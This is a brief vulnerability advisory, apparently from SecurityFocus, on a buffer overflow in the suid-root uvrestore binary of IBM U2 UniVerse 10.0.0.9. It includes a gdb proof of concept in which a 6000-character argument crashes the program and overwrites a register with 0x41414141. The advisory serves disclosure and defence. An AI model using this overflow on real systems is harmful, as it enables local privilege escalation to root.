IBM U2 UniVerse 10.0 .0.9 uvrestore Buffer Overflow vulnerability

                                                source: http://www.securityfocus.com/bid/8206/info

It has been reported that the uvrestore binary does not perform bounds checking when parsing command-line arguments. Because this binary is installed with suid root privileges by default, local attackers my be able to exploit this vulnerability to elevate privileges.

While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.

(gdb) r `perl -e 'print "A" x 6000'` 
Starting program: uvrestore `perl -e 'print "A" x 6000'`
Program received signal SIGSEGV, Segmentation fault.
0x0805e81a in basename ()
(gdb) bt
#0 0x0805e81a in basename ()
#1 0x080619b3 in basename ()
#2 0x42015574 in libc_start_main () from /lib/tls/libc.so.6
(gdb) i r
eax 0x41414141 1094795585